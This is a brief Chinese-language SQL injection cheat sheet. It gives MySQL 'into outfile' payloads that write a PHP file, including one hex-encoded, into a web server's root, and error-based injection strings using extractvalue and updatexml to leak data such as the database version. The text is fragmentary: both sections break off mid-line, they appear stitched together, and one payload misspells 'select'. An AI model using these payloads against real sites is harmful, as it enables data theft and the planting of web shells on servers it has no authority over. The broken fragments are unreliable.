# SQL注入 ## mysql 写文件 ``` http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '' http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f706870207068
## 注入 ### 报错注入函数(10种) > 1.extractvalue and extractvalue(1, concat(0x7e,(select @@version),0x7e))-- 2.通过floor报错 向下取整 3.updatexml and updatexml(1, concat(0x7e,(secect @@version),0x7e),1) 4.geometry